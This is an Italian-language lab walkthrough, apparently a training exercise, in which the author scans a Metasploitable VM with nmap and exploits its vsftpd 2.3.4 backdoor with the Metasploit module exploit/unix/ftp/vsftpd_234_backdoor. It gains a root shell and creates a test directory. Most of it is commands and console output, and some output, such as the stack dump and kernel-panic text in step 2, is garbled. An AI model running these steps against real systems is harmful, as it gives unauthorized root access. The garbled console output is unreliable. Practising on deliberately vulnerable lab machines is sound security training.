

METASPLOIT

- 1) Scansione sul target Metasploitable con **sudo nmap -sV 192.168.1.149**, dalla quale ho notato che la porta 21 è correttamente aperta, con attivo il servizio vsftpd 2.3.4

```
Nmap finished http server header against 192.168.1.149:80.
Nmap scan report for 192.168.1.149
Host is up (0.0031s latency).
Scanned at 2023-06-12 05:56:06 EDT for 181s
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet?
25/tcp    open  smtp?
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec?
513/tcp   open  login?
514/tcp   open  shell?
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ccproxy-ftp?
3306/tcp  open  mysql?
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  unknown
MAC Address: 08:00:27:9F:01:2E (Oracle VirtualBox virtual NIC)
Service Info: Host: irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Final times for host: srtt: 3106 rttvar: 3273  to: 100000

Read from /usr/bin/./share/nmap: nmap-mac-prefixes nmap-service-probes nmap-services.
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 182.22 seconds
```

2) Con il comando **search** ho cercato il servizio vsftpd

```
Stack: 90909090909090909090909090909090
90909090909090909090909090909090
90909090.90909090.90909090
90909090.90909090.90909090
90909090.90909090.09090900
90909090.90909090.09090900
.....
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
.....cccccccccccc
cccccccccccccccccccccccccccccccc
cccccccccccccccccccccccccccccccc
.....
ffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffff
ffffffffffffffffffffffffffffffff
.....
ffffffffffffffffffffffffffffffff
.....

Code: 00 00 00 00 M3 T4 SP L0 1T FR 4M 3W OR K! V3 R5 I0 N5 00 00 00 00
Aiee, Killing Interrupt handler
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing

Documentation  Kali Tools

=[ metasploit v6.3.16-dev ]
+ -- --=[ 2315 exploits - 1208 auxiliary - 412 post ]
+ -- --=[ 975 payloads - 46 encoders - 11 nops ]
+ -- --=[ 9 evasion ]

Metasploit tip: Tired of setting RHOSTS for modules? Try
globally setting it with setg RHOSTS x.x.x.x
Metasploit documentation: https://docs.metasploit.com/

msf6 : search vsftpd

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03 excellent No VSFTPD v2.3.4 Backdoor Command Execution
```

- 3) Ho copiato ed incollato il path `exploit/unix/ftp/vsftpd_234_backdoor`, avviandolo tramite comando **use** Tramite comando **show options** ho notato che RPORT era già configurata sulla porta 21, mentre tramite il comando `set`, ho impostato il target (192.168.1.149).

```
msf6 > search vsftpd

Matching Modules
=====
#  Name                                     Disclosure Date   Rank    Check  Description
--  -
0  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03       excellent No      VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to CMD/UNIX/INTERACT
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

  Name      Current Setting  Required  Description
  --      -
  CHOST      CHOST             no        The local client address
  CPORT      CPORT             no        The local client port
  PROXYS      PROXYS            no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS     RHOSTS            yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      RPORT             yes       The target port (TCP)

Payload options (cmd/unix/interact):

  Name      Current Setting  Required  Description
  --      -
  CMD        CMD              no        The command to execute

Exploit target:

  Id  Name
  --  -
  0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set rhosts 192.168.1.149
rhosts => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads
```

- 4) Tramite il comando **show payloads** ho trovato il payload che mi serve, il quale, essendo l'unico presente, viene settato di default.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
=====


| Index | Name                      | Disclosure Date | Rank   | Check | Description                                        |
|-------|---------------------------|-----------------|--------|-------|----------------------------------------------------|
| 0     | payload/cmd/unix/interact |                 | normal | No    | Unix Command, Interact with Established Connection |



msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set payload/cmd/unix/interact
[-] Unknown datastore option: payload/cmd/unix/interact.
Usage: set [options] [name] [value]

Set the given option to value. If value is omitted, print the current value.
If both are omitted, print options that are currently set.

If run from a module context, this will set the value in the module's
datastore. Use -g to operate on the global datastore.

If setting a PAYLOAD, this command can take an index from 'show payloads'.

OPTIONS:
  -c, --clear    Clear the values, explicitly setting to nil (default)
  -g, --global   Operate on global datastore variables
  -h, --help     Help banner.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):


| Name    | Current Setting | Required | Description                                                                                            |
|---------|-----------------|----------|--------------------------------------------------------------------------------------------------------|
| CHOST   |                 | no       | The local client address                                                                               |
| CPORT   |                 | no       | The local client port                                                                                  |
| Proxies |                 | no       | A proxy chain of format type:host:port[,type:host:port][ ... ]                                         |
| RHOSTS  | 192.168.1.149   | yes      | The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html |
| RPORT   | 21              | yes      | The target port (TCP)                                                                                  |



Payload options (cmd/unix/interact):


| Name | Current Setting | Required | Description |
|------|-----------------|----------|-------------|
|------|-----------------|----------|-------------|


```

- 5) Dopo aver settato tutto correttamente, ho lanciato l'exploit tramite apposito comando **exploit**. Ho usato anche il comando **ifconfig** per visualizzare le informazioni della scheda di rete del target Metasploitable

```
Exploit target: 0 Automatic

View the full usage info with the info, or run the command:
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.1.149:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.149:21 - USER: user Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.150:33557 -> 192.168.1.149:6200) at 2023-06-12 06:04:20 -0400

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:9f:01:2e
          inet addr:192.168.1.149  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe9f:12e/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:2614 errors:0 dropped:0 overruns:0 frame:0
          TX packets:2648 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:194711 (190.1 KB)  TX bytes:207299 (202.4 KB)
          Base address:0xd020  Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:250 errors:0 dropped:0 overruns:0 frame:0
          TX packets:250 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:48309 (47.1 KB)  TX bytes:48309 (47.1 KB)

pwnd
/
```

- 6) Tramite comando **pwd** ho visto la directory nella quale mi trovavo, cartella di root. Tramite comando **mkdir** ho creato la directory **test_metasploit**, e tramite comando **ls** ho appurato che la directory è stata correttamente creata.

```
pwd
/
mkdir test_metasploit
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
test_metasploit
tmp
usr
var
vmlinuz
```